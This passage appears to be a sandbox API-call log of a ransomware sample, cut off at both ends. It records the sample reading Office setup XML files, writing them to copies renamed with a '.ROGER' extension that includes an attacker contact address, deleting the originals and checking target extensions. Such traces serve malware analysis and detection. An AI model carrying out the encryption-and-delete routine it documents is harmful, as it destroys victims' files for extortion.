dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.221] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0044.222] GetLastError () returned 0x0 [0044.222] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x646, lpOverlapped=0x0) returned 1 [0044.224] WriteFile (in: hFile=0x3b4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x650, lpOverlapped=0x0) returned 1 [0044.225] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.225] WriteFile (in: hFile=0x3b4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0044.225] SetEndOfFile (hFile=0x3b4) returned 1 [0044.225] CloseHandle (hObject=0x3b4) returned 1 [0044.225] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.225] SetEndOfFile (hFile=0x3a8) returned 1 [0044.226] CloseHandle (hObject=0x3a8) returned 1 [0044.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.226] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0044.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.227] lstrlenW (lpString=".doc") returned 4 [0044.227] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.227] lstrlenW (lpString=".docx") returned 5 [0044.227] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.227] lstrlenW (lpString=".pdf") returned 4 [0044.227] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.227] lstrlenW (lpString=".xls") returned 4 [0044.227] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.227] lstrlenW (lpString=".xlsx") returned 5 [0044.227] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.227] lstrlenW (lpString=".ppt") returned 4 [0044.227] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.227] lstrlenW (lpString=".zip") returned 4 [0044.227] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.227] lstrlenW (lpString=".rar") returned 4 [0044.227] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.227] lstrlenW (lpString=".bz2") returned 4 [0044.227] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.227] lstrlenW (lpString=".7z") returned 3 [0044.227] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.227] lstrlenW (lpString=".dbf") returned 4 [0044.227] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.227] lstrlenW (lpString=".1cd") returned 4 [0044.228] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.228] lstrlenW (lpString=".jpg") returned 4 [0044.228] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.228] lstrlenW (lpString=".doc") returned 4 [0044.228] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.228] lstrlenW (lpString=".docx") returned 5 [0044.228] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.228] lstrlenW (lpString=".pdf") returned 4 [0044.228] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.228] lstrlenW (lpString=".xls") returned 4 [0044.228] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.228] lstrlenW (lpString=".xlsx") returned 5 [0044.228] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.228] lstrlenW (lpString=".ppt") returned 4 [0044.228] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.228] lstrlenW (lpString=".zip") returned 4 [0044.228] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.228] lstrlenW (lpString=".rar") returned 4 [0044.228] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.228] lstrlenW (lpString=".bz2") returned 4 [0044.228] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.228] lstrlenW (lpString=".7z") returned 3 [0044.228] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.228] lstrlenW (lpString=".dbf") returned 4 [0044.228] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.229] lstrlenW (lpString=".1cd") returned 4 [0044.229] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0044.229] lstrlenW (lpString=".jpg") returned 4 [0044.229] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.229] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.229] lstrlenW (lpString="SETUP.XML") returned 9 [0044.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0044.230] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1988) returned 1 [0044.230] CloseHandle (hObject=0x3a8) returned 1 [0044.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0044.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0044.230] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.230] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0044.230] GetLastError () returned 0x0 [0044.231] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0044.232] WriteFile (in: hFile=0x3b4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0044.233] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.233] WriteFile (in: hFile=0x3b4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.233] SetEndOfFile (hFile=0x3b4) returned 1 [0044.233] CloseHandle (hObject=0x3b4) returned 1 [0044.234] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.234] SetEndOfFile (hFile=0x3a8) returned 1 [0044.234] CloseHandle (hObject=0x3a8) returned 1 [0044.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0044.235] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0044.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.235] lstrlenW (lpString=".doc") returned 4 [0044.235] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString=".docx") returned 5 [0044.235] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.235] lstrlenW (lpString=".pdf") returned 4 [0044.235] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString=".xls") returned 4 [0044.235] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString=".xlsx") returned 5 [0044.235] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.235] lstrlenW (lpString=".ppt") returned 4 [0044.235] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.235] lstrlenW (lpString=".zip") returned 4 [0044.235] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.235] lstrlenW (lpString=".rar") returned 4 [0044.235] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString=".bz2") returned 4 [0044.235] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.235] lstrlenW (lpString=".7z") returned 3 [0044.236] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.236] lstrlenW (lpString=".dbf") returned 4 [0044.236] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.236] lstrlenW (lpString=".1cd") returned 4 [0044.236] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.236] lstrlenW (lpString=".jpg") returned 4 [0044.236] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.236] lstrlenW (lpString=".doc") returned 4 [0044.236] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString=".docx") returned 5 [0044.236] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.236] lstrlenW (lpString=".pdf") returned 4 [0044.236] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString=".xls") returned 4 [0044.236] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString=".xlsx") returned 5 [0044.236] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.236] lstrlenW (lpString=".ppt") returned 4 [0044.236] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.236] lstrlenW (lpString=".zip") returned 4 [0044.236] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.236] lstrlenW (lpString=".rar") returned 4 [0044.236] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.236] lstrlenW (lpString=".bz2") returned 4 [0044.236] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.237] lstrlenW (lpString=".7z") returned 3 [0044.237] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.237] lstrlenW (lpString=".dbf") returned 4 [0044.237] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.237] lstrlenW (lpString=".1cd") returned 4 [0044.237] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0044.237] lstrlenW (lpString=".jpg") returned 4 [0044.237] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.237] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0044.237] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0044.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0044.237] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=3186) returned 1 [0044.237] CloseHandle (hObject=0x3a8) returned 1 [0044.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0044.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0044.238] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.238] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0045.130] GetLastError () returned 0x0 [0045.130] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xc72, lpOverlapped=0x0) returned 1 [0045.132] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0045.133] ReadFile (in: hFile=0x3a8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.133] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0045.133] SetEndOfFile (hFile=0x3a4) returned 1 [0045.133] CloseHandle (hObject=0x3a4) returned 1 [0045.134] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.134] SetEndOfFile (hFile=0x3a8) returned 1 [0045.135] CloseHandle (hObject=0x3a8) returned 1 [0045.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.135] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0045.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.136] lstrlenW (lpString=".doc") returned 4 [0045.136] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.136] lstrlenW (lpString=".docx") returned 5 [0045.136] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0045.136] lstrlenW (lpString=".pdf") returned 4 [0045.136] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.136] lstrlenW (lpString=".xls") returned 4 [0045.136] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.136] lstrlenW (lpString=".xlsx") returned 5 [0045.136] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0045.136] lstrlenW (lpString=".ppt") returned 4 [0045.136] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.136] lstrlenW (lpString=".zip") returned 4 [0045.136] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.136] lstrlenW (lpString=".rar") returned 4 [0045.136] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.136] lstrlenW (lpString=".bz2") returned 4 [0045.136] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.136] lstrlenW (lpString=".7z") returned 3 [0045.136] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.136] lstrlenW (lpString=".dbf") returned 4 [0045.136] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.137] lstrlenW (lpString=".1cd") returned 4 [0045.137] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.137] lstrlenW (lpString=".jpg") returned 4 [0045.137] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.137] lstrlenW (lpString=".doc") returned 4 [0045.137] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.137] lstrlenW (lpString=".docx") returned 5 [0045.137] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0045.137] lstrlenW (lpString=".pdf") returned 4 [0045.137] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.137] lstrlenW (lpString=".xls") returned 4 [0045.137] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.137] lstrlenW (lpString=".xlsx") returned 5 [0045.137] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0045.137] lstrlenW (lpString=".ppt") returned 4 [0045.137] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.137] lstrlenW (lpString=".zip") returned 4 [0045.137] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.137] lstrlenW (lpString=".rar") returned 4 [0045.137] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.137] lstrlenW (lpString=".bz2") returned 4 [0045.137] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.137] lstrlenW (lpString=".7z") returned 3 [0045.137] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.137] lstrlenW (lpString=".dbf") returned 4 [0045.137] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.138] lstrlenW (lpString=".1cd") returned 4 [0045.138] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0045.138] lstrlenW (lpString=".jpg") returned 4 [0045.138] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.138] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.138] lstrlenW (lpString="Proof.XML") returned 9 [0045.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 